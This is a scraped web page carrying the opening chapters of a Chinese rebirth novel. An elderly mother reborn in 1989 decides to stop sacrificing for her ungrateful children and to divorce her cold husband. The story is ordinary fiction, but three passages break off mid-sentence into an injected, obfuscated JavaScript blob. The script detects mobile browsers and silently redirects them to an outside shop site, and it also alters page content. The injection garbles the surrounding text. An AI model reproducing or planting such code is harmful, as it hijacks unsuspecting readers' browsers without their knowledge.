《万人嫌离婚后他们后悔了》 1. 儿女怨憎 周满孤零零地死在除夕夜。 上了岁数的人,脚底打滑随便摔一跤就是致命伤。 她躺在冰冷的地板上,旁边是热了又热的年夜饭。再往前方看,是窗外绚烂的烟花。 回顾她这一生,旁人谁听了不道一句:圆满顺遂! 出生在六十年代的农村,家里贫困却备受宠爱。长大后,直接嫁进钢铁厂家属院享福。 丈夫生前是德高望重的退休技工,夫妻恩爱一辈子。 膝下双胎儿子,一个是大学教授,另一个进入科研院。 还有女儿,是市值过亿集团老总的夫人,标准的富太太……这样令人艳羡的人生,的确称得上:圆满。 是吗? 周满唇角满是讥诮,浮在半空中冷眼俯视着底下的“孝子贤孙”。 “妈真是的,死了还要给咱们添麻烦,要死也得死在年后,晦气死了。” “上次让她去敬老院,她非要留在老房子,这回终于自食恶果。” “死后好歹还做成件好事,留下这栋老宅做遗产。我刚找中介问过了,至少能卖六七百万。” 一声比一声更扎人心。 周满历来都知道儿子们怨怼自己,当初兄弟俩一心休学下海,是自己百般阻挠,以死相逼。 后来他们纷纷考上大学,端上铁饭碗,成家立业各自圆满。 她有什么错? 自古以来做生意能有几人得成功? 那个年代,赔得倾家荡产的比比皆是。 她自问为儿子们规划出最正确的人生道路,不料却成为他们“发大财”路上的绊脚石。 也罢,生前她没做过一件让儿子们顺心的事。好歹这会儿终于死了,解决一桩累赘,也叫他们拍手称快一回。 但是。 最让周满难过且始料未及的,为何连最骄傲的小女儿元珠都如此恨她? 尤记得元珠不足月生下来时,小小瘦瘦的一团,夫妻俩恨不得捧在掌心中,珍之爱之。 后来的确如名字寄予那般,一辈子都没教元珠吃过苦头,给她挑选的丈夫,事业上已经小有成就,前途无量。 如今她出门在外,背着限量版包包,有专属司机开车,谁不客客气气地恭维一句“刘太”。 可女儿却与她越走越远,逢年过节极少回来看望她一眼,老头子走后更是直接断绝往来。 究竟是因为什么? “妈,你还记得这封情书吗?”直到元珠从包里拿出一封泛黄的信件。 那信纸年代久远,瞧得出来主人经常拿出来反复摩挲,边角的图案都被时间磨掉七七八八。 周满两眼瞪圆,全身的力气忽然一下子泄了下去。 怎么会不记得呢? 元珠初三升高中的关键时期,自己从她书包里翻出来一封情书。写信的是个乡下穷小子,除了帅一无是处。 小白脸成绩年年吊车尾,身无技能傍身。 连摘抄的情诗,一行都有两个错别字。 这样的人,如何能给元珠未来? 于是,她悄悄藏起信件。 只是没想到,这封信为何兜兜转转会落到元珠手中? “要不是结婚前一夜爸偷偷交给我,我还不知道,原来是你从中作梗,破坏了我最纯真美好的爱情。”元珠举着信纸,愤怒的低吼着: “你知道刘国仁在外私生子一大堆,那些女人天天恶心我吗。就是因为是你贪慕虚荣,是你嫌贫爱富,是你葬生我一生的幸福。” 这些,周满的确不知情。 她一直都以为女儿生活得很幸福,每回春节女婿都陪她回娘家,夫妻表现十分恩爱。 如果女儿肯告诉自己实情,她势必要上门讨个公道。 刘氏集团正处于上市的关键阶段,此时爆出私生活混乱,其公众形象势必大打折扣,从而影响到股东注资。 就算女儿最后要离婚,也能得到一大笔钱,下半辈子衣食无忧,完全没必要在婚姻这棵树上吊死。 从什么时候开始,女儿就与自己疏远,连求助她都不愿意? “如果不是爸,这辈子都被你蒙在鼓里。你操控了我们兄妹三人的人生,是你毁了我们一辈子!” 元珠拿出这封信,兄弟俩一点儿也不意外。 全家唯有周满被蒙在鼓里。 长子元斌轻拍元珠的肩膀安慰道:“算了,现在说这些还有什么用?你就是太心软了,要是早点捅破真相,也不至于看不见她为此忏悔,痛哭流涕的一面。” 这时老二掐断电话走进来,嫌恶地望着黑白遗像,语气恶毒:“火葬场来电话了,让我们马上去取骨灰。她不是管得宽吗?直接把骨灰扔到海里去。” “对,千万别跟爸葬一块,免得逢年过节还得顺便看到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14078894|149453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,晦气!” 真真是两个好大儿啊! 老人都讲究落叶归根。 他们这是要她死不瞑目,无家可归,无亲可探。 已经怨恨她到了如斯地步。 虚空中,周满流下两行清泪。 错了吗? 真的做错了吗? 这一辈子,她从来没有为自己活过一天。 当初嫁给丈夫时,人人都道好鞍配在驴上。 没有显赫的家世与嫁妆,为了能在婆家立足。周满拼着一口气,家里家外打理得井井有条,生病从不歇着。 为子女费心谋划,殚精竭虑,自认为把最好的一切都给予他们。 婆婆卧病在床那一年,更是端屎端尿不嫌累。 能做的该做的,她都力争完美。 对外,谁不夸她一句“好媳妇”“好妈妈”,是家庭主妇当中的楷模。 难道她落得这个下场,是因为“管的太多”,才成为万人嫌。而应该是彻底放手,让子女去做他们愿意干的事吗? 周满迷茫了。 继而生出一股愤怒。 兄妹三人当真以为元建军是什么好东西?对他感恩戴德。 其实造成他们“悲惨生活”的罪魁祸首,明明是他才对。 当初,是元建军在背后怂恿周满藏起情书,是元建军为了往上升迁,偷偷把女儿介绍厂长侄子。 又为了在儿子跟前树立好父亲形象,次次都让她出手管教,充当那个恶人。 也是他,趁夜偷走儿子们攒起来准备下海经商的零花钱啊…… 怎么到了最后,儿女们都敬爱这个父亲,走时丧事办得风风光光,邻里亲朋皆盛赞孝子贤孙。 而今…… 周满眼睁睁望着骨灰随风散去,双手拼命挥舞着,想要去阻止,却只是白费力气徒劳无功。 海浪咆哮声中,耳边只剩下小女儿的质问:“妈,如果你看见自己落得六亲不认的下场,会后悔曾经管得太多了吗?” 悔吗? 当然是后悔了的! 毕竟这辈子都在为他人而活,实在太累太憋屈。 周满颓唐地闭上眼睛,放弃挣扎,任由意识在惊涛骇浪中渐渐消散。 如果能转世托生,她决定换种活法。 …… 兴许是老天垂怜,竟让她真的重活一回。 2. 重生1989 周满重新掀开眼皮,是在1989年冬。 她抚摸额头上厚厚的纱布,一阵刺痛袭来,证明根本不是梦境。 窗外,工人正在将家属院门口那条旧横幅,换成一条红底白字的“以贫穷为耻,努力脱贫”。 这是个能一夜暴富的浮夸时代! 大院里整日鸡飞狗跳,小年轻们正事不干,憧憬着能靠倒爷实现阶层跃迁,成为江城第一批开豪车、用大哥大的万元户。 连孩童三三两两都在跟在屁股后面喊:“辛辛苦苦一辈子,不如倒爷一阵子”。 明明过去四十多年,周满依旧记得相当清楚。 无他。 正是这一年,儿女们先后同她离了心,也是一切悲剧的起源。 咯吱! 老旧木门突然从外推开,小女儿元珠端着大海碗进来,“妈,家里没人会做饭,你将就垫巴两口吧。” 碗里装有两个巴掌大的隔夜烧饼,既冷又硬,正常人在大冬天咬一口都剌得嗓子疼。 何况周满此时正处病中。 儿女别说回锅热一下,就连倒杯热水都懒得。原来这个时候,他们对待生养自己的母亲就已经如此敷衍了吗? 见周满迟迟不动作,元珠口气颇为埋怨: “妈,你还生二哥的气呢?气性可真大!” “不就失手推了您一把,额头蹭破点皮,二哥又不是故意的。他已经在外边跪了一天一夜,身体快要撑不住,难道你真要逼死他才解气吗?” 女儿根本不是关心她,而是前来当说客的。 从小三兄妹感情便相当要好,同甘共苦,什么秘密都互相分享。 周满偏疼幼女,每当哥俩做错事,只要女儿过来当说客,插科打诨,事儿睁只眼闭只眼就过去了。 但眼下这事触碰到周满逆鳞! 事情还要说到三天前,校长突然家访,夫妻俩才知晓儿子们经常逃学,更是大胆包天提出辍学。 长子次子学习成绩优异,是读书当之无愧的好苗子。当初双双考入县重点高中,三年来一直名列前矛,并有望考上名牌大学。 家属院谁不羡慕周家儿子培养得好! 可如今俩儿子居然都要辍学,去下海经商,当什么倒爷? 周满恨铁不成钢,在与两儿子争执期间,被性格更冲动的次子失手推了一把,脑袋狠狠撞在柜台上。 次子宁肯跪死在客厅里,也不愿低头与她服软。 明明周满才是受欺骗、受到伤害那一个,丈夫儿女们始终不闻不问。 怎么到头来所有人都站在次子那边,认为她一个当妈的过于强硬狠毒? “妈,你学历不高,所以眼界低思想狭隘,不如我爸进步。” 元珠打心眼里瞧不起母亲,农民出身,当了一辈子家庭主妇,整日围着灶台孩子打转,一点出息都没有。 要不是年轻时空有一副好皮囊,否则根本高攀不上她城里当正式工的爸。 幸好他们兄妹三人都随了父亲的聪慧与远见,语气里的优越感不由自主带出来: “现在时代不同,人人都在下海赚钱,读书还有什么用?就算毕业后包分配单位,每个月又能赚几个钱? 想当初奶还让哥哥们赶紧休学进厂接班,结果爸差点赶上下岗潮。 这年头铁饭碗都不安全了,不如出去闯一闯,赚他个万八千的!” 元珠踌躇满志,恨不得立刻撸起袖子跟着哥哥们北上大干一场。 而周满却神情古怪地问一句:“你就这么瞧不起乡下人?” 她口口声声的真爱,不也是农村小子吗? “农村与城市的壁垒犹如天蜇,素质、学识、生活习惯与品味都截然不同,因此门当户对尤为重要。 比如姥姥家,卧室就在牛圈旁边,吃饭睡觉都能闻到一股味,不仅不卫生,还相当不优雅,一点儿不讲究。” “反正我这辈子绝对不会嫁到乡下!” 元珠说得信誓旦旦。 但在半个月后,她于乡下姥姥家遇见一生的白月光。 因为周满记得从她书包里翻到情书,是在春节过后不久。 儿子们闹着辍学,小女儿疑似早恋,周满气急攻心病入膏肓……缠绵病榻整整三月,时而清醒时而迷糊。 等她病好后,儿女们望着她的目光已经变得冰冷且充满埋怨。 ……不过这些统统不重要了。 她上辈子魂归大海,浮萍无根,可不就是因为管得太宽了么! 这一世,懒得再操闲心了。 女儿的厉声质问仍回荡在耳边,周满恹恹地半垂起眼,起身下床。 饼子太干,她根本咽不下去,打算进厨房找点软和热乎的吃食。 第一步,先养好身体再说! 路过客厅时,周满一眼瞧见跪在正门口的次子。 听到动静,他慌乱藏起手中的那盘软乎乎的桂花糕。随后挺直腰身,昂起脑袋,像是一只永不斗败的骄傲大公鸡。 他仗的势,不过是当母亲的总会心疼孩子罢了! 每每想到灵堂前老二那憎恨怨毒的眼神,周满一颗心劈成两份,一份酸胀得发疼,一份浸透寒冰。冷得她迅速收回目光,目不斜视地从他身侧走过。 香甜的桂花香气不停冲进鼻翼,肯定是曹记的!他家用料足,甜而不腻,老二向来最挑嘴,只肯吃的是现做的。 半斤桂花糕,大概能买一斤热乎的烧饼! 呵、其实想想小女儿还挺贴心的。 周满舔了舔干涸的嘴唇,来到厨房门口。 她站定,冷眼望着满室的狼藉,胸腔深处不可自抑地再次泛起一股子酸疼。 都他妈叫什么事! 三日前怎么样,此刻依旧如出一辙,锅碗瓢盆堆积如山,显然是等她“病好”再收拾。 要怪,就责怪曾经的她,亲手养大他们的惰性。 让一切变得理所当然! 周满脑门青筋突突的跳,脚尖一转,拿起书架铁盒子里面的买菜钱,直接抬脚往外走。 身后传来小女儿理所当然的声音:“妈,上南头买卤水老豆腐回来,晚上做麻婆豆腐吃。” 家属院到南头菜市场相隔三条街,起码要走半小时。 周满在心里冷笑,瞧瞧,这家子真把她当奴才了。 正值饭点,不少邻居探出头来好奇张望。 甚至有的不嫌事大:“婶子,听说你家元斌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14078895|149453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元栋正闹辍学呢?” “可惜了!咱大院里岂不是少了两个未来的名牌大学生?” “我说元栋这孩子小时候就机灵,口才好,敢情天生是当倒爷的料子。” 众人哄堂大笑。 曾经他们多么嫉妒羡慕元家,如今就多么想看笑话。 若是往常,周满为了面子一定会百般遮掩,不想她仅仅是扯起一个苍白无力的笑容来,颔首道:“是啊。” “你竟然同意他们哥俩辍学?真是太阳打西边出来了。”隔壁马寡妇夸张地惊呼出声。 她和周满前后脚嫁进家属院,男人又在同一个车间,不免被大院里的人拿出来事事比较。 马寡妇克夫,生了一堆赔钱货; 周满命好旺夫,生下一对双胞胎,年底丈夫就被评为“先进工人”。儿女长大后学习成绩好,有望培养出三个大学生,怎么看都是人生赢家。 从前周满同样认为自己活得比马寡妇幸福。 但到了晚年,对方四个女儿个个孝顺,赶着互联网浪潮当上大老板,给亲妈买房又买车,配司机保姆,争抢着孝顺抚养,大院里谁不嫉妒得眼红? 她呢…… 一辈子表面光鲜亮丽,背地里当牛做马,儿女埋怨,打掉牙齿苦水往肚子里咽。 论儿女教育,她的确技不如人。 且活了两辈子,她彻底想开了,没有当初争强好胜的心。 “孩子们都已经十八岁成年了,有能力为自己所作所为承担后果。他们想做什么,就干什么去吧。我不管了,也管不了。” 周满轻叹着低下一辈子高傲的头颅,额头纱布还浸着血,愈发显得心酸。 马寡妇眼珠子都快要掉下来,忽然间失去言语。 听说元栋为了能去北上闯荡,把亲妈额头都打破了。 敢情是真的! 要不是被伤透了心,周满一个当妈的,整日恨不得把优秀儿女挂在嘴边的人,如何才会云淡风轻说出“管不了”这三个字来? 四周同情的目光落在周满身上,尤其是一众老少娘们,禁不住拿起手帕抹起眼儿。 看着“死对头”失魂落魄地样子,马寡妇心里没有丝毫痛快,嘴上依旧不饶人的说:“你以前纯属活该,就是天生操劳命,非要把儿女丈夫看得比自己重,自食恶果。” 邻里看不过去的:“你积点口德少说两句吧?周满可是咱大院里的模范妇女。” “被儿子打破头的模范妇女,啧啧……” 周满忽然停下脚步。 众人还以为两人要打起来,就连马寡妇都猛的起身,往后退两步。 谁曾想周满扯出一抹苍白的笑来,“你说的对,我的确是自食恶果,在儿女的教育上无比失败,根本不是什么好模范。” 她也不想当什么好妈妈、好妻子了! 空气陷入死寂。 “周满,你气疯了?”马寡妇瞪圆眼。 简直就是魔怔了! 周满饿得胃部隐隐抽疼,手抚上胃部,不再言语,微微佝偻着身子继续往前走。 前方,长子元栋站在楼梯口,神色复杂。 不知道他来了多久,听到了什么,也许全部都听见了。 3. 妈,别任性了 “妈,你身体还没好利索,怎么出门了?”元斌咬着牙拦住去路。 周满心知肚明,长子埋怨自己刚才在邻居跟前乱说话,抹黑了他和弟弟的名声。 对老一辈的人而言,长子的意义总是不一样的,父母在其身上也倾注更多精力。 周满同样如此。 却精心培育出一个精明且唯利是图的混蛋来,亲妈死了,只在乎房子能卖六百万还是七百万。 她抬眼,表情淡淡的:“让开。” “妈,别闹了!” 周遭一双双鄙夷的眼,让元斌难堪到恨不得找个地缝钻进去。 难道她以为用这副凄惨的模样,就能通过舆论逼迫他和弟弟放弃北上,简直太愚蠢了! 成绩再好有屁用! 顶着一个不孝的坏名声,名牌大学也不会录用他们兄弟俩。 “快跟我回去。” 元斌气急败坏地伸手去拉她,却被周满侧身避开。 这,还是头一回亲妈在人前落他面子。 元斌表情错愕,心底委屈又憋闷地唤:“妈……” 周满只觉得糟心极了,开口喷道:“我还能去哪?都快要被你们活活饿死在床上,当然是自己出去买点吃的。” 这话说的,元斌立刻就着急了。 “小妹不是给你饼子吃了么?奶前脚刚办完丧事,家里钱不多了,你先将就将就吧。我在外跑一整天,肚子还空着呢。” 言外之意,无外乎是亲妈矫情,赶紧回家做饭得了,别在外边瞎折腾。 周满不敢置信,那颗心如同天寒地冻的江城冷得发颤。 “那饼子放了两三天,咬都咬不动。哪像老二,吃的是曹记的桂花糕。” 她反将一军:“难道在你心里,妈只配吃剩饭剩菜?连出去买点热乎的都不配。” 元斌哪敢接这话,头上一个劲冒虚汗,心里面将老二骂个狗血淋头。 要是真让妈闹上这么一顿,他兄妹三人哪里还有名声在,只能不耐烦地哄着: “妈,回去我替您教训二弟。你想吃什么?我现在就去给你买。” 周满点头:“行,我要吃城北的鼓楼包子。” 元斌下意识拒绝:“城北多远,外面还在下雪呢。按我说随便在门口买两个,将就对付一口……” 又是“将就”! 一股邪火从胸口直冲脑门,周满懒得再听废话,拂开他的手,慢慢扶着楼梯往下走。 “妈,您别任性成不成?” 元斌握紧拳头,站在身后吼。 周满快要被气死了。 看看她生出的什么糟心玩意儿?当初就该塞回娘胎回炉重造。 她抿紧唇,回头冷睨了他一眼。 就这一眼元斌才发现母亲有些不同寻常,目光灼灼让他几乎不敢跟她对视。 而母亲的脸色是真的惨白如雪…… 他猛然想起来,父亲最近厂里没日没夜的加班,身为长子,本来他理应担负起照顾母亲的责任。 可这两天他不是在为前程奔波嘛,还以为弟弟妹妹有好好照顾她的。 一瞬间元斌脸色羞窘得通红,手指死死捏着衣袖,半天憋不出一个屁来。 哪怕周满心里早已失望,此刻看到长子没有担当的样子仍感觉到窝火。 长子精明,背后没少撺掇老二冲锋陷阵。 辍学下海这件事估计是他搞出来的。 最后老二罚跪,他置身事外。 罢了。 人家兄弟感情深,她懒得管。 - 临近工厂下班,家属院对面挤满小食摊贩。 自打前几年有人靠从深市进货回来摆地摊大赚一笔后,几乎是一夜之间,小摊贩如同雨后春笋般争相冒出头来。 有人赚大钱,也有人赔得倾家荡产。 做生意并非是一帆风顺的。 比如这类做吃食的摊子,拼的是厨艺与味道,好吃才能留住顾客。毕竟八十年代不比后世,人们的消费观念还没有彻底改变,温饱优先高于享受。 想要顾客掏钱购买食物,必须要拿出看家本领。 周满记得曾看过某个品牌的成功案例,起先就是从街头小摊做起,最后创办全国连锁品牌。 “同志,肉馅两毛,素馅一毛五,馒头一毛,要来点尝尝不?” 大概是见她盯着这边看得太久,摊主笑呵呵地打开蒸笼。 热气伴着香味扑面而来,个个都有成人拳头那般大。 刹那间,周满肚子空得更难受了。 88年价格放开后,肉禽蛋和烟酒大幅度涨价。江城节前猪肉每斤四块九、富强粉两毛五,物价比前两年贵得离谱。 从前她宁愿自己费时费力包,也不肯多花一分钱在外边买现成的吃。 毕竟自己多花一点儿,将来留给儿子们的就少一些,再苦不能苦儿女……真全他娘是狗屁! 人呐,不能指望旁人,还得是自个顾着自个儿。 周满忍着那丁点心疼,数出四毛钱:“给我来两肉包。” 可惜身上没带饭盒,否则还能来碗豆腐脑。 白嫩嫩的豆腐脑,面上带着热气,搁上卤汁,再浇上一勺辣椒油,大冬天来上一碗能热乎到全身冒汗。 摊主拿起牛皮纸熟练包好,一手接钱一手递给她。 天寒肉包冷了会有点腥,周满接在手中,迫不及待地咬了一口。才尝出点味儿,眉头就紧紧皱成团。 皮略硬,口感不够绵密;肉馅柴,葱花放得太多,抢了猪肉本身的鲜味。 馅不对! 揉面不够筋道! 蒸包子火候同样差了功夫! 勉强能上及格线,但跟她一比,做得简直差远了。 包子的灵魂在于馅料的味道,馅料必须皮薄馅足,咬一口个个爆汁,有滋有味。 如何剁馅、调馅各有讲究,甚至是蒸包子的火候,都对包子的口感至关重要。 周满在厨艺上颇有天分。 当姑娘时跟着村子做席面的大厨身边学习,光是最基础的刀工就磨练好几年,雕花摆盘样样精通。 成婚后,由于丈夫饮食太挑剔,周满为了能抓住他的胃,千方百计从旧货市场淘来一本菜谱。 后来有了媳妇、孙子,又学习做月子餐、营养餐,厨艺丝毫不输饭店大厨。 这…… 大概也是儿孙们唯一用得上她的地方了。 “妈,周末我同事要来家里吃饭,对方是广东人,你早点来做几道拿手的粤菜。” “我丈母娘住院了,你熬点老母鸡汤送到医院去。鸡要两年以上的,油记得先撇干净。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14078896|149453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “囡囡最近挑食不爱吃饭,妈你想办法做点新奇的菜式。” …… 周满跟保姆似的忙得团团转,可是在三兄妹眼中,她这个当妈的,整日就知道围着灶台打转,没甚出息,上不得台面。 一辈子活该伺候人。 正想得入神,周满忽然被推车撞了下,剩下半个包子嗖一下飞出去。 南方的雪通常下得还不大,落在地上很快化作泥水。 肉包子算是浪费了。 与此同时,撞到自己的那辆小摊车侧翻,汤汤水水泼得哪哪都是。 “对不起,你没事吧?包子钱我赔给你。” 满头白发的老太太佝偻着脊背,伸手往兜里掏钱时,露出一截胳膊被热水烫得通红,烫出大大小小的水泡来。 瞧着触目惊心! “老人家,您胳膊需要上医院处理下。”周满按住她掏钱的胳膊,慢慢帮她把衣袖拉起来检查。 好在冬日穿得厚,其他地方没有大问题。 老太太浑浑噩噩地附和道:“对,我要去医院,囡囡还在等钱救命呢。” 她手忙脚乱地弯腰捡东西,年纪大,腿脚不太利索,忽然“哎哟”一声,右手顿时捂在腰杆上疼得汗如雨下。 得,老人家这是把腰给扭了。 不少人上前帮忙,七手八脚地支起摊子,有的扶着老太太。 甚至热心肠地顺道将周满送上牛车,一道拉去附近的医院。 “赵大娘命苦了一辈子,家里穷被卖到高家,当牛做马伺候一家子。混乱那几年,丈夫病逝,二儿子被迫下乡,跟家里断绝往来。大儿子命也不好,前两年下岗跟别人跑山货,失足跌进山下死了。 后来儿媳妇跟别人私奔,徒留下一个有心脏病的孙女。全家都靠赵大娘摆摊撑着,老人家岁数大了,腰腿时常疼,还能撑个几年呢?” “我听说心脏病得用进口药,一个月得花多少钱?” “可不嘛,老太太最近在筹钱,打算把摊车并房子转手卖了。她要价高,足足一万多块呢,迟迟没人接手。” “疯了吧?谁愿意花一万块买东街小学旁的破房子?” 就这么一会儿功夫,众人你一言我一语,很快周满囫囵听完整个故事。 他们口中的破房子,将会在几年后拆迁重建,有些居民获赔好几套房子,一朝暴富。 到了三十年后,那片将是寸金寸土的学区房。单单是两室一厅的毛坯房,都能卖上百万。 可惜了。 周满手中没有那么多存款。 哪怕结婚二十年,丈夫元建军仍旧不信任她,拿她当外人,牢牢把控家里大小开支。 浑身上下的钱加在一块,不过七十五块三毛八分。 这点钱来得不容易,都是起早跑到更远的菜市场,一分分赚差价攒下来的,其中还有不少来源于卖废品。 辛辛苦苦攒了十几年,才是元建军一个月的工资。 难怪元建军并一众儿孙们瞧不起自己,就连周满都鄙视自个醒悟得太晚。 女人自己能工作赚钱,总好比手心向上讨钱花,腰杆子也才能立起来。否则一辈子活该仰仗他人鼻息,低人一等。 周满长长吐出一口浊气,提振一下精神。 赚钱的事情暂且不急,当下是治病要紧。 4. 渣夫 急诊室。 纱布已经黏在肉皮上,撕开瞬间,疼得周满险些没掉下泪来。 “胡闹!你额头磕出这么大口子,怎么能用草木灰止血?幸好天气冷,否则伤口发炎滋生细菌,感染严重是会死人的!你家里人呢?他们就任由你硬熬着?” 大夫的话一声声砸进她心里,周满蜷起手指。 上辈子反反复复发烧,都是因为伤口没有处理好的缘故。 想来那时候真可笑,一来怕花钱,二来害怕邻居说闲话。 她自以为是的为家庭牺牲,不过是自我感动。既感动不了丈夫儿女,还白白受罪。 真的活该! 她垂下眼皮,“大夫,您说的对,怎么治都听您的,不怕药贵。” 淦!给老元家省个锤子的钱。 大概是认错态度良好,大夫表情缓和下来,快速清理并包扎好伤口,打上一针破伤风后,最后扎针挂水。 “护士站可以打电话通知家属,起码还得挂两小时水。” 他本意是让家属过来照看病患,撞破脑袋很容易引发脑震荡。 要是患者昏昏沉沉睡着后,没家属从旁看着,药水打完血液回流到吊瓶,处理起来相当麻烦。 “谢谢,”周满煞有其事地点点头,“正好让他们过来付钱。” 医药费拢共花去十六块三毛。 自从推行医保政策在江城试点后,看病先缴费后报销。 钢铁厂家属有福利,报销下来花不了几个钱。 她一手提着吊瓶,一边往护士站走。 刚转过回廊,便瞧见个熟悉的身影,正提着果篮站在间病房门口。 男人一身蓝色工装制服笔挺。 戴着黑框眼镜,长相斯斯文文的。虽然已过中年,却不显老,英俊不减当年。 一时惹得不少小姑娘偷偷打量他。 周满眸色复杂,当初她嫁给元建军时,人人都道好鞍配在驴身上。 元家条件好,城里人。 丈夫元建军吃公粮,又是高中生,浑身浓浓的书卷气,说话温声细语的,一瞧就会疼老婆。 可婚后丈夫冷漠,婆婆刁钻,还要照顾伺候尚未成婚的小叔子小姑子。 起初,周满每次回娘家都会哭诉。 爹娘是怎么说的来着?大概就是“你这只高攀枝头的雀儿,能嫁进城里享福,简直是周家祖坟冒青烟了”。 “男人不动手打你,不酗酒不烂赌,不抛妻弃子,就是好男人。” “你身在福中不知福,别不知足。” “夫妻俩谁不是这样磕磕绊绊过来的?忍忍就过去了。” 这一忍,就是一辈子。 待儿女全部成家立业,都乐意接元建军过去住。久而久之,老两口长期分居。 直到周满摸索着学会上网,才从网上学会一个新颖的词:冷暴力! 原来不少女性都跟她一样守活寡,尤其是她们这样的老人,为了一张结婚证,给夫家当免费保姆无怨无悔。 无力感与怨恨一瞬间齐齐冲上脑际,等周满回过神来,已经一巴掌拍打在元建军肩头。 “周满?!” 元建军回头一瞧,吓得劈了嗓子:“你怎么在这?” “难道……” “你是跟踪我来的?” 他神情慌乱,眼神心虚的左右乱瞟。但长时间两人间他一直处于上位,很快又被愤怒取代。 “你不在家里做饭,跑出来医院丢人显眼,赶紧回家去。” 儿女耳濡目染,对待母亲的态度多半是从父亲身上学到的。 元建军鄙视她,自然而然,慕强的孩子们都跟着嫌弃她。 周满不客气回怼:“你儿子打破我脑袋,当然是上医院来治病的。” “你小声点!”元建军蹙紧眉头,妻子今天吃枪药了?抽什么疯? 他强调道:“明明是你自己不小心撞到额头,关老二什么事?” 至于妻子会不会委屈,哪有儿子名声前途重要? 反正大家都习惯了。 周满不欲继续辩驳,丈夫口才好,自己从来辩不赢他。 顿了顿,她眼神戏谑,“倒是你,不是说好在厂里加班,提着果篮打算看望谁呢?” 说话间,周满侧头往病房里瞧。 病房里六张床都住满了,恍惚间似乎瞧见窗边有个美丽的妇人。 没等她看清楚,元建军已经挡在跟前,扯拽着她往旁边走。 用力之大,捏得手腕阵阵发疼。 周满一点儿也不惯着狗男人,张嘴就喊:“放手,你弄疼我了。” 不少人侧眸看来。 元建军脸色沉如锅底,停下脚步,回头帮忙揉捏她的手。 那深情款款的模样,好似爱惨了周满。 却恶心得她鸡皮疙瘩全部冒出来。 “行了。” 周满赶忙抽回手,生怕会当众吐出来。 果然厌恶一个人,对方的碰触会让人产生生理不适。 直到丈夫死后,周满都以为自己卑微的深爱着他。 如今瞧来,不过是刻在骨子里的奴性,让她心甘情愿奉献。 毕竟被PUA了一辈子…… “单位领导家属生病,让我来送果篮。”担忧周满当众大闹,元建军不情愿地解释一句。 “是吗?”周满瞧着他梳着一丝不苟的头发,工装是新换的,上面还有肥皂清新的香味。 即便元建军干会计,在厂里干活,免不了会沾染机油。 机油难洗,是她先在洗衣粉水里泡了两小时,再用肥皂一点点手搓两三遍才干净的。 想到这,她嘲讽道:“看来那个人真的很要紧,难得你还特意打扮过。” “胡咧咧什么呢?我哪打扮了?不就跟平时一个样儿。”元建军心脏猝不及防地漏跳一拍,“你果然是把脑袋撞坏了,嘴巴没个把门的,都开始胡言乱语。” “对对对,你说得都对。” 元建军心里莫名有点不舒服,有种说不出来的憋屈感。 他舔了下唇,故意恐吓道:“本来就是,这话要是传到领导耳里,你男人得丢工作。” “这样严重啊,那我赶紧去跟对方道歉。”周满摆出一副惶恐不安的模样,抬脚往回走。 元建军气得差点破口大骂,往前跨了几步拦住去路,“领导家属怕生,你别去捣乱。外面的事有我处 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于是从口袋里掏出钱来,敷衍地数了两张十块递过去,忍着不耐细细叮嘱道:“你先去付医药费,输液就别乱跑,省得摔倒,等我忙完就过去找你。” 周满不客气地抽走他手中那把钱,在元建军即将发怒时,毫无感情地夸赞一句:“老元你真好,专门拿钱给我买营养品。” 旁边人羡慕不已:“你们夫妻可真恩爱。” 元建军就像是吃了苍蝇屎一般,吐不出来又咽不下去。 不过,周满从来不舍得乱花钱,恨不得吃糠咽菜,最后都会用在家用上,这也是她为数不多的优点了。 “你身体不好,想吃什么就买,全部花掉都行。”元建军表现得相当大度,赢来一众老少娘们崇拜的目光。 他挺直脊背,伸手抬了抬鼻梁上的眼镜,温柔又儒雅,堪称好丈夫典范。 周满懒得看他演戏,拿了钱转身就走。刚才估摸扫了眼,起码得有五十多块。 狗男人每天才给她五块钱家用,自己却随时携带几十块钱在身上。 那个漂亮果篮还扎丝带,瞧着十分高端,起码也得好几块钱,他可真舍得。 至于元建军去见什么人? 周满不关心,亦不在乎。 男人比得过钱吗? 上辈子她至死都想不通一个问题,既然元建军处处看不上她,瞧不起周家,为何偏偏要跟她结婚。 后来条件好了,离婚变成一件再正常不过的事儿,他又为什么不直接提出离婚呢? 此刻周满恍然大悟。 因为他虚伪,图一辈子名利; 还因为……“开除”周满,上哪去找更称心如意的免费保姆呢? 元建军好面子,不敢主动提离婚。 她敢! 她不仅要跟他离婚,还要分割夫妻共同财产,拿到属于自己的那份钱! 彻底想通了之后,周满只觉得浑身轻松,走路都带起风。 5. 那就离婚吧 